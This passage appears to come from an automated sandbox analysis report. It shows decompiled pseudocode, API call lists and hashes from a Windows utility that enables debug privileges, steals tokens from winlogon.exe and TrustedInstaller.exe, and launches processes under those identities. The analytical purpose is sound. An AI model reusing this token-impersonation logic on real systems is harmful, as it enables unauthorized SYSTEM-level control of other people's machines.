				intOrPtr _t190;
				intOrPtr _t198;
				signed int _t205;
				signed int _t206;

				_t179 = __edx;
				_t158 = __ecx;
				_t206 = _t205 & 0xfffffff8;
				E0040B550(0x1ccc, __ecx);
				_t76 = E0040313D(_t158);
				if(_t76 != 0) {
					E0040AC52();
					SetErrorMode(0x8001); // executed
					_t156 = 0;
					 *0x40fa70 = 0x11223344;
					EnumResourceTypesW(GetModuleHandleW(0), E0040A3C1, 0); // executed
					_t82 = E00405497( &_a8);
					_a48 = 0x20;
					_a40 = 0;
					_a52 = 0;
					_a44 = 0;
					_a56 = 0;
					E004056B5(_t158, __eflags, _t82, _a12);
					E00408F48(_t158, __eflags, L"SeDebugPrivilege"); // executed
					 *_t206 = L"/SpecialRun";
					_t85 = E0040585C( &_v0);
					__eflags = _t85;
					if(_t85 != 0) {
						L8:
						_t86 = E0040585C( &_a8, L"/Run");
						__eflags = _t86 - _t156;
						if(_t86 < _t156) {
							_t87 = E0040585C( &_a8, L"/cfg");
							__eflags = _t87 - _t156;
							if(_t87 >= _t156) {
								_t162 =  *0x40fa74; // 0x4101c8
								_t41 = _t87 + 1; // 0x1
								ExpandEnvironmentStringsW(E0040584C( &_a8, _t41), _t162 + 0x5504, 0x104);
								_t115 =  *0x40fa74; // 0x4101c8
								_t117 = wcschr(_t115 + 0x5504, 0x5c);
								__eflags = _t117;
								if(_t117 == 0) {
									_a92 = _t156;
									memset( &_a94, _t156, 0x208);
									_a620 = _t156;
									memset( &_a622, _t156, 0x208);
									GetCurrentDirectoryW(0x104,  &_a92);
									_t124 =  *0x40fa74; // 0x4101c8
									_t125 = _t124 + 0x5504;
									_v4 = _t125;
									_t187 = wcslen(_t125);
									_t51 = wcslen( &_a92) + 1; // 0x1
									__eflags = _t187 + _t51 - 0x104;
									if(_t187 + _t51 >= 0x104) {
										_a620 = _t156;
									} else {
										E00404BE4( &_a620,  &_a92, _v4);
									}
									_t131 =  *0x40fa74; // 0x4101c8
									_t132 = _t131 + 0x5504;
									__eflags = _t132;
									wcscpy(_t132,  &_a620);
								}
							}
							E00402F31(_t156);
							_t181 =  *0x40fa74; // 0x4101c8
							_pop(_t159);
							_a84 =  &_a8;
							_a76 = 0x40cb0c;
							_a88 = _t156;
							_a80 = _t156;
							E0040177C( &_a76, _t181 + 0x10, __eflags, _t156);
							_t92 =  *0x40fa74; // 0x4101c8
							__eflags =  *((intOrPtr*)(_t92 + 0x5710)) - _t156;
							if( *((intOrPtr*)(_t92 + 0x5710)) == _t156) {
								_t93 = E0040585C( &_a8, L"/savelangfile");
								__eflags = _t93;
								if(_t93 < 0) {
									E00406420();
									__imp__CoInitialize(_t156);
									_t95 =  *0x40fa74; // 0x4101c8
									E00408910(_t95 + 0x10, _t159, 0x416f60);
									 *((intOrPtr*)( *0x4158e0 + 8))(_t156);
									_t198 =  *0x40fa74; // 0x4101c8
									E00408910(0x416f60, 0x4158e0, _t198 + 0x10);
									E00402F31(1);
									__imp__CoUninitialize();
								} else {
									E004065BE(_t159);
								}
								goto L7;
							} else {
								_t64 = _t92 + 0x10; // 0x4101d8
								_a7356 = _t156;
								_a7352 = _t156;
								_a7340 = _t156;
								_a7344 = _t156;
								_a7348 = _t156;
								_t156 = E00401D40(_t179, _t64,  &_a5292);
								_t110 =  &_a5288;
								L6:
								E004035FB(_t110);
								L7:
								E004054B9( &_v0);
								E004099D4( &_a32);
								E004054B9( &_v0);
								_t106 = _t156;
								goto L2;
							}
						}
						_t26 = _t86 + 1; // 0x1
						_t173 = _t26;
						__eflags =  *((intOrPtr*)(E0040584C( &_a8, _t26))) - _t156;
						if(__eflags == 0) {
							E00402F31(_t156);
						} else {
							E00402FC6(_t173, __eflags, _t138);
						}
						_t188 =  *0x40fa74; // 0x4101c8
						_a68 =  &_a8;
						_a60 = 0x40cb0c;
						_a72 = _t156;
						_a64 = _t156;
						E0040177C( &_a60, _t188 + 0x10, __eflags, _t156);
						_t190 =  *0x40fa74; // 0x4101c8
						_a5280 = _t156;
						_a5276 = _t156;
						_a5264 = _t156;
						_a5268 = _t156;
						_a5272 = _t156;
						_t156 = E00401D40(_t179, _t190 + 0x10,  &_a3216);
						_t110 =  &_a3212;
						goto L6;
					}
					__eflags = _a56 - 3;
					if(_a56 != 3) {
						goto L8;
					}
					__eflags = 1;
					_a3212 = 0;
					_a3208 = 0;
					_a3196 = 0;
					_a3200 = 0;
					_a3204 = 0;
					_v4 = 0;
					_v0 = 0;
					swscanf(E0040584C( &_v0, 1), L"%I64x",  &_v4);
					_t177 = 2;
					_push(E0040584C( &_v0, _t177));
					L0040B1F8();
					_pop(_t178);
					_t156 = E00401AC9(_t178, _t179, __eflags,  &_a1148, _v4, _v0, _t152);
					_t110 =  &_a1132;
					goto L6;
				} else {
					_t106 = _t76 + 1;
					L2:
					return _t106;
				}
			}

0x00408533
0x00408533
0x00408536
0x0040853e
0x00408546
0x0040854d
0x00408559
0x00408563
0x00408569
0x00408572
0x00408583
0x0040858d
0x00408595
0x0040859e
0x004085a2
0x004085a6
0x004085aa
0x004085ae
0x004085b8
0x004085c1
0x004085c8
0x004085cd
0x004085cf
0x0040867f
0x00408688
0x0040868d
0x0040868f
0x00408730
0x00408735
0x00408737
0x0040873d
0x00408750
0x0040875d
0x00408763
0x00408770
0x00408775
0x00408779
0x0040878b
0x00408790
0x004087a2
0x004087aa
0x004087b8
0x004087be
0x004087c3
0x004087c9
0x004087d2
0x004087df
0x004087e3
0x004087e6
0x00408801
0x004087e8
0x004087f8
0x004087fe
0x00408811
0x00408816
0x00408816
0x0040881c
0x00408822
0x00408779
0x00408824
0x00408829
0x00408833
0x00408834
0x00408840
0x00408848
0x0040884c
0x00408850
0x00408855
0x0040885a
0x00408860
0x004088ac
0x004088b1
0x004088b3
0x004088bf
0x004088c5
0x004088cb
0x004088da
0x004088ea
0x004088ed
0x004088f8
0x004088ff
0x00408905
0x004088b5
0x004088b5
0x004088b5
0x00000000
0x00408862
0x00408862
0x0040886d
0x00408874
0x0040887b
0x00408882
0x00408889
0x00408895
0x00408897
0x00408658
0x00408658
0x0040865d
0x00408661
0x0040866a
0x00408673
0x00408678
0x00000000
0x00408678
0x00408860
0x00408695
0x00408695
0x0040869f
0x004086a2
0x004086af
0x004086a4
0x004086a7
0x004086a7
0x004086b4
0x004086bf
0x004086cb
0x004086d3
0x004086d7
0x004086db
0x004086e0
0x004086f1
0x004086f8
0x004086ff
0x00408706
0x0040870d
0x00408719
0x0040871b
0x00000000
0x0040871b
0x004085d5
0x004085da
0x00000000
0x00000000
0x004085ec
0x004085ef
0x004085f6
0x004085fd
0x00408604
0x0040860b
0x00408612
0x00408616
0x00408620
0x0040862a
0x00408632
0x00408633
0x00408638
0x0040864f
0x00408651
0x00000000
0x0040854f
0x0040854f
0x00408550
0x00408556
0x00408556

APIs

Part of subcall function 0040313D: LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040315C
Part of subcall function 0040313D: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0040316E
Part of subcall function 0040313D: FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403182
Part of subcall function 0040313D: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 004031AD

SetErrorMode.KERNELBASE(00008001,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408563
GetModuleHandleW.KERNEL32(00000000,0040A3C1,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040857C
EnumResourceTypesW.KERNEL32 ref: 00408583
swscanf.MSVCRT ref: 00408620
_wtoi.MSVCRT ref: 00408633

Strings

%I64x, xrefs: 004085E7
/cfg, xrefs: 00408727
`oA, xrefs: 004088D0
, xrefs: 00408595
SeDebugPrivilege, xrefs: 004085B3
/Run, xrefs: 0040867F
/savelangfile, xrefs: 004088A3
XA, xrefs: 004088E5

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes_wtoiswscanf
String ID: $%I64x$/Run$/cfg$/savelangfile$SeDebugPrivilege$`oA$XA
API String ID: 3933224404-3784219877
Opcode ID: 1ed12eb10884b9e827e0875f5387ef1e7972f3b4abe7ba30fea96de0eb1c323a
Instruction ID: 6a1ad454fb11d14b300c4ed281ce3bcdfe782ea4983c0409628bf6e0aeb57f2c
Opcode Fuzzy Hash: 1ed12eb10884b9e827e0875f5387ef1e7972f3b4abe7ba30fea96de0eb1c323a
Instruction Fuzzy Hash: 7FA16F71508340DBD720EF65DD8599BB7E8FB88308F50493FF588A3292DB3899098F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401FE6, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 243
processCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401FE6(void* __eax, void* __ecx, void* __edx, WCHAR* _a4, WCHAR* _a8, long _a12, void* _a16, WCHAR* _a20, struct _STARTUPINFOW* _a24, struct _PROCESS_INFORMATION* _a28) {
				int _v8;
				long _v12;
				wchar_t* _v16;
				void _v546;
				long _v548;
				void _v1074;
				char _v1076;
				void* __esi;
				long _t84;
				int _t87;
				wchar_t* _t88;
				int _t92;
				void* _t93;
				int _t94;
				int _t96;
				int _t99;
				int _t104;
				long _t105;
				int _t110;
				void** _t112;
				int _t113;
				intOrPtr _t131;
				wchar_t* _t132;
				int* _t148;
				wchar_t* _t149;
				int _t151;
				void* _t152;
				void* _t153;
				int _t154;
				void* _t155;
				long _t160;

				_t145 = __edx;
				_t152 = __ecx;
				_t131 =  *((intOrPtr*)(__eax + 0x44a8));
				_v12 = 0;
				if(_t131 != 4) {
					__eflags = _t131 - 5;
					if(_t131 != 5) {
						__eflags = _t131 - 9;
						if(__eflags != 0) {
							__eflags = _t131 - 8;
							if(_t131 != 8) {
								__eflags = _t131 - 6;
								if(_t131 != 6) {
									__eflags = _t131 - 7;
									if(_t131 != 7) {
										__eflags = CreateProcessW(_a4, _a8, 0, 0, 0, _a12, _a16, _a20, _a24, _a28);
									} else {
										_t132 = __eax + 0x46b6;
										_t148 = __eax + 0x48b6;
										__eflags =  *_t148;
										_v16 = _t132;
										_v8 = __eax + 0x4ab6;
										if( *_t148 == 0) {
											_t88 = wcschr(_t132, 0x40);
											__eflags = _t88;
											if(_t88 != 0) {
												_t148 = 0;
												__eflags = 0;
											}
										}
										_t153 = _t152 + 0x800;
										E0040289F(_t153);
										_t154 =  *(_t153 + 0xc);
										__eflags = _t154;
										if(_t154 == 0) {
											_t87 = 0;
											__eflags = 0;
										} else {
											_t87 =  *_t154(_v16, _t148, _v8, 1, _a4, _a8, _a12, _a16, _a20, _a24, _a28);
										}
										__eflags = _t87;
									}
									if(__eflags == 0) {
										_t84 = GetLastError();
										L43:
										_v12 = _t84;
									}
									goto L44;
								}
								__eflags = E00401D99(__eax + 0x44ac, __edx);
								if(__eflags == 0) {
									goto L44;
								}
								_t92 = E0040A46C(_t131, __eflags,  &_a28, _t90, _a4, _a8, _a12, _a20, _a24, _a28);
								__eflags = _t92;
								if(_t92 != 0) {
									goto L44;
								}
								_t84 = _a28;
								goto L43;
							}
							_t93 = OpenSCManagerW(0, L"ServicesActive", 0x35); // executed
							__eflags = _t93;
							if(_t93 != 0) {
								E00401306(_t93); // executed
							}
							_v8 = 0;
							_t94 = E00401F04(_t145, _t152); // executed
							__eflags = _t94;
							_v12 = _t94;
							if(__eflags == 0) {
								_t96 = E00401DF9(_t145, __eflags, _t152, L"TrustedInstaller.exe",  &_v8); // executed
								__eflags = _t96;
								_v12 = _t96;
								if(_t96 == 0) {
									_t99 = E004028ED(_t152 + 0x800, _v8, _a4, _a8, _a12, _a16, _a20, _a24, _a28);
									__eflags = _t99;
									if(_t99 == 0) {
										_v12 = GetLastError();
									}
									CloseHandle(_v8); // executed
								}
								RevertToSelf(); // executed
							}
							goto L44;
						}
						_t104 = E0040598B(__edx, __eflags, __eax + 0x46b6);
						__eflags = _t104;
						if(_t104 == 0) {
							goto L44;
						}
						_v8 = 0;
						_t105 = E00401E44(_t152, _t104,  &_v8);
						goto L14;
					}
					_t149 = __eax + 0x44ac;
					_t110 = wcslen(_t149);
					__eflags = _t110;
					if(_t110 <= 0) {
						goto L44;
					} else {
						_v8 = 0;
						__eflags = E00404EA9(_t149, _t110);
						_t112 =  &_v8;
						_push(_t112);
						_push(_t149);
						if(__eflags == 0) {
							_push(_t152);
							_t113 = E00401DF9(_t145, __eflags);
						} else {
							L0040B1F8();
							_push(_t112);
							_push(_t152);
							_t113 = E00401E44();
						}
						_v12 = _t113;
						__eflags = _t113;
						goto L15;
					}
				} else {
					_v548 = 0;
					memset( &_v546, 0, 0x208);
					_v1076 = 0;
					memset( &_v1074, 0, 0x208);
					E00404C3C( &_v548);
					 *((intOrPtr*)(_t155 + 0x18)) = L"winlogon.exe";
					_t151 = wcslen(??);
					_t10 = wcslen( &_v548) + 1; // 0x1
					_t159 = _t151 + _t10 - 0x104;
					if(_t151 + _t10 >= 0x104) {
						_v1076 = 0;
					} else {
						E00404BE4( &_v1076,  &_v548, L"winlogon.exe");
					}
					_v8 = 0;
					_t105 = E00401DF9(_t145, _t159, _t152,  &_v1076,  &_v8);
					L14:
					_t160 = _t105;
					_v12 = _t105;
					L15:
					if(_t160 == 0) {
						if(E004028ED(_t152 + 0x800, _v8, _a4, _a8, _a12, _a16, _a20, _a24, _a28) == 0) {
							_v12 = GetLastError();
						}
						CloseHandle(_v8);
					}
					L44:
					return _v12;
				}
			}

0x00401fe6
0x00401ff1
0x00401ff3
0x00401fff
0x00402002
0x004020a8
0x004020ab
0x004020f3
0x004020f6
0x00402162
0x00402165
0x004021f2
0x004021f5
0x00402235
0x00402238
0x004022be
0x0040223a
0x0040223a
0x00402240
0x0040224b
0x0040224e
0x00402251
0x00402254
0x00402259
0x0040225e
0x00402262
0x00402264
0x00402264
0x00402264
0x00402262
0x00402266
0x0040226c
0x00402271
0x00402274
0x00402276
0x0040229a
0x0040229a
0x00402278
0x00402296
0x00402296
0x0040229c
0x0040229c
0x004022c0
0x004022c2
0x004022c8
0x004022c8
0x004022c8
0x00000000
0x004022c0
0x00402201
0x00402203
0x00000000
0x00000000
0x00402220
0x00402225
0x00402227
0x00000000
0x00000000
0x0040222d
0x00000000
0x0040222d
0x00402173
0x00402179
0x0040217b
0x0040217e
0x00402183
0x00402185
0x00402188
0x0040218d
0x0040218f
0x00402192
0x004021a2
0x004021a7
0x004021a9
0x004021ac
0x004021cc
0x004021d1
0x004021d3
0x004021db
0x004021db
0x004021e1
0x004021e1
0x004021e7
0x004021e7
0x00000000
0x00402192
0x004020fe
0x00402103
0x00402105
0x00000000
0x00000000
0x00402111
0x00402114
0x00000000
0x00402114
0x004020ad
0x004020b4
0x004020b9
0x004020bc
0x00000000
0x004020c2
0x004020c4
0x004020ce
0x004020d0
0x004020d3
0x004020d4
0x004020d5
0x004020e6
0x004020e7
0x004020d7
0x004020d7
0x004020dd
0x004020de
0x004020df
0x004020df
0x004020ec
0x004020ef
0x00000000
0x004020ef
0x00402008
0x00402016
0x0040201d
0x0040202e
0x00402035
0x00402044
0x00402049
0x00402055
0x00402064
0x00402068
0x0040206e
0x0040208b
0x00402070
0x00402082
0x00402088
0x0040209e
0x004020a1
0x00402119
0x00402119
0x0040211b
0x0040211e
0x0040211e
0x00402149
0x00402151
0x00402151
0x00402157
0x00402157
0x004022cb
0x004022d2
0x004022d2

APIs

memset.MSVCRT ref: 0040201D
memset.MSVCRT ref: 00402035

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00402050
wcslen.MSVCRT ref: 0040205F
wcslen.MSVCRT ref: 004020B4
_wtoi.MSVCRT ref: 004020D7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 0040214B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 00402157
OpenSCManagerW.SECHOST(00000000,ServicesActive,00000035,?,?,00000000), ref: 00402173
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,TrustedInstaller.exe,?,?), ref: 004021D5
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,TrustedInstaller.exe,?,?), ref: 004021E1
RevertToSelf.KERNELBASE(?,TrustedInstaller.exe,?,?), ref: 004021E7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Part of subcall function 0040598B: memset.MSVCRT ref: 004059B5
Part of subcall function 0040598B: _wcsicmp.MSVCRT ref: 004059FA
Part of subcall function 0040598B: wcschr.MSVCRT ref: 00405A0E
Part of subcall function 0040598B: _wcsicmp.MSVCRT ref: 00405A20
Part of subcall function 0040598B: OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 00405A36
Part of subcall function 0040598B: OpenProcessToken.ADVAPI32(00000000,00000002,?), ref: 00405A4C
Part of subcall function 0040598B: CloseHandle.KERNEL32(?), ref: 00405A5A
Part of subcall function 0040598B: CloseHandle.KERNEL32(00000000), ref: 00405A61

Part of subcall function 00401E44: OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,winlogon.exe,?,00000000,winlogon.exe,00000000), ref: 00401E5C
Part of subcall function 00401E44: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401ED8
Part of subcall function 00401E44: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401EEB

wcschr.MSVCRT ref: 00402259
CreateProcessW.KERNEL32 ref: 004022B8
GetLastError.KERNEL32(?,?,00000000), ref: 004022C2

Strings

winlogon.exe, xrefs: 00402049, 00402076
ServicesActive, xrefs: 0040216D
TrustedInstaller.exe, xrefs: 0040219C

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle$OpenProcess$ErrorLastmemsetwcslen$_wcsicmpwcschrwcscpy$CreateDirectoryManagerRevertSelfSystemToken_wtoiwcscat
String ID: ServicesActive$TrustedInstaller.exe$winlogon.exe
API String ID: 3201562063-2355939583
Opcode ID: 36f9f8526d762d4bf55260197473f7f83151b965ca01539aa69d60d29f45efaf
Instruction ID: ccbcfbde9fdc9ff515b0a1e4c69409fc0ea490cdea51ab3e51e2115b03466e24
Opcode Fuzzy Hash: 36f9f8526d762d4bf55260197473f7f83151b965ca01539aa69d60d29f45efaf
Instruction Fuzzy Hash: 02813A76800209EACF11AFE0CD899AE7BA9FF08308F10457AFA05B21D1D7798A549B59

Uniqueness

Uniqueness Score: -1.00%

Function 00409921, Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409921(struct HINSTANCE__** __esi) {
				void* _t6;
				struct HINSTANCE__* _t7;
				_Unknown_base(*)()* _t12;
				CHAR* _t13;
				intOrPtr* _t17;

				if( *__esi == 0) {
					_t7 = E00405436(L"psapi.dll"); // executed
					 *_t17 = "GetModuleBaseNameW";
					 *__esi = _t7;
					__esi[1] = GetProcAddress(_t7, _t13);
					__esi[2] = GetProcAddress( *__esi, "EnumProcessModules");
					__esi[4] = GetProcAddress( *__esi, "GetModuleFileNameExW");
					__esi[5] = GetProcAddress( *__esi, "EnumProcesses");
					_t12 = GetProcAddress( *__esi, "GetModuleInformation");
					__esi[3] = _t12;
					return _t12;
				}
				return _t6;
			}

0x00409924
0x0040992c
0x00409937
0x0040993f
0x0040994a
0x00409956
0x00409962
0x0040996e
0x00409971
0x00409973
0x00000000
0x00409976
0x00409977

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

Strings

EnumProcesses, xrefs: 0040995B
psapi.dll, xrefs: 00409927
GetModuleInformation, xrefs: 00409967
GetModuleBaseNameW, xrefs: 00409937
EnumProcessModules, xrefs: 00409943
GetModuleFileNameExW, xrefs: 0040994F

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad$memsetwcscat
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 1529661771-70141382
Opcode ID: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction ID: 092d130926b261125bd3b69643a6c94717898c68ce40be050c227dd31faca138
Opcode Fuzzy Hash: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction Fuzzy Hash: C7F0D4B4D40704AECB306FB59C09E16BAE1EFA8700B614D3EE0C1A3290D7799044CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C6, Relevance: 18.1, APIs: 12, Instructions: 134COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,0040C390,00000070), ref: 0040B2D5
__set_app_type.MSVCRT ref: 0040B334
__p__fmode.MSVCRT ref: 0040B349
__p__commode.MSVCRT ref: 0040B357
__setusermatherr.MSVCRT ref: 0040B383
_initterm.MSVCRT ref: 0040B399
__wgetmainargs.KERNELBASE ref: 0040B3BC
_initterm.MSVCRT ref: 0040B3CF
GetStartupInfoW.KERNEL32(?), ref: 0040B42C
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040B452
exit.KERNELBASE ref: 0040B469
_cexit.MSVCRT ref: 0040B46F

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
String ID:
API String ID: 2827331108-0
Opcode ID: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction ID: dde25c0b0dc41f5004a610fd87b0135bea3e3095e736c0cca49ec984ade2cc6a
Opcode Fuzzy Hash: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction Fuzzy Hash: 3D519E71C50604DBCB20AFA4D9889AD77B4FB04710F60823BE861B72D2D7394D82CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401F04, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401F04(void* __edx, intOrPtr _a4) {
				int _v8;
				void _v538;
				long _v540;
				void _v1066;
				char _v1068;
				long _t30;
				int _t33;
				int _t39;
				void* _t42;
				void* _t45;
				long _t49;

				_t45 = __edx;
				_v540 = 0;
				memset( &_v538, 0, 0x208);
				_v1068 = 0;
				memset( &_v1066, 0, 0x208);
				E00404C3C( &_v540);
				_t48 = L"winlogon.exe";
				_t39 = wcslen(L"winlogon.exe");
				_t8 = wcslen( &_v540) + 1; // 0x1
				_t53 = _t39 + _t8 - 0x104;
				_pop(_t42);
				if(_t39 + _t8 >= 0x104) {
					_v1068 = 0;
				} else {
					E00404BE4( &_v1068,  &_v540, _t48);
					_pop(_t42);
				}
				_v8 = 0;
				_t30 = E00401DF9(_t45, _t53, _a4,  &_v1068,  &_v8); // executed
				_t49 = _t30;
				_t54 = _t49;
				if(_t49 == 0) {
					E00408F48(_t42, _t54, L"SeImpersonatePrivilege"); // executed
					_t33 = ImpersonateLoggedOnUser(_v8); // executed
					if(_t33 == 0) {
						_t49 = GetLastError();
					}
					CloseHandle(_v8);
				}
				return _t49;
			}

0x00401f04
0x00401f20
0x00401f27
0x00401f38
0x00401f3f
0x00401f4e
0x00401f54
0x00401f5f
0x00401f6e
0x00401f72
0x00401f77
0x00401f78
0x00401f91
0x00401f7a
0x00401f88
0x00401f8e
0x00401f8e
0x00401fa6
0x00401fa9
0x00401fae
0x00401fb0
0x00401fb2
0x00401fb9
0x00401fc2
0x00401fca
0x00401fd2
0x00401fd2
0x00401fd7
0x00401fd7
0x00401fe3

APIs

memset.MSVCRT ref: 00401F27
memset.MSVCRT ref: 00401F3F

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00401F5A
wcslen.MSVCRT ref: 00401F69
ImpersonateLoggedOnUser.KERNELBASE(?,0040218D,?,?,?,?,?,?,?,00000000), ref: 00401FC2
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00401FCC
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 00401FD7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Strings

SeImpersonatePrivilege, xrefs: 00401FB4
winlogon.exe, xrefs: 00401F54, 00401F59, 00401F80

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memsetwcscpywcslen$CloseDirectoryErrorHandleImpersonateLastLoggedSystemUserwcscat
String ID: SeImpersonatePrivilege$winlogon.exe
API String ID: 3867304300-2177360481
Opcode ID: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction ID: dcc5dec8953379ec1552ef046485534b93905478987a0ec3c51696e6dc85d708
Opcode Fuzzy Hash: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction Fuzzy Hash: 48214F72940118AACB20A795DC899DFB7BCDF54354F5001BBF608F2191EB345A848BAC

Uniqueness

Uniqueness Score: -1.00%

Function 00409555, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27
libraryloadertimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409555(void* _a4, struct _FILETIME* _a8, struct _FILETIME* _a12, struct _FILETIME* _a16, struct _FILETIME* _a20) {
				int _t8;
				struct HINSTANCE__* _t9;

				if( *0x41c8e8 == 0) {
					_t9 = GetModuleHandleW(L"kernel32.dll");
					if(_t9 != 0) {
						 *0x41c8e8 = 1;
						 *0x41c8ec = GetProcAddress(_t9, "GetProcessTimes");
					}
				}
				if( *0x41c8ec == 0) {
					return 0;
				} else {
					_t8 = GetProcessTimes(_a4, _a8, _a12, _a16, _a20); // executed
					return _t8;
				}
			}

0x0040955f
0x00409566
0x0040956e
0x00409576
0x00409586
0x00409586
0x0040956e
0x00409592
0x004095aa
0x00409594
0x004095a3
0x004095a6
0x004095a6

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 00409566
GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 00409580
GetProcessTimes.KERNELBASE(00000000,00401DD3,?,?,?,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 004095A3

Strings

kernel32.dll, xrefs: 00409561
GetProcessTimes, xrefs: 00409570

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
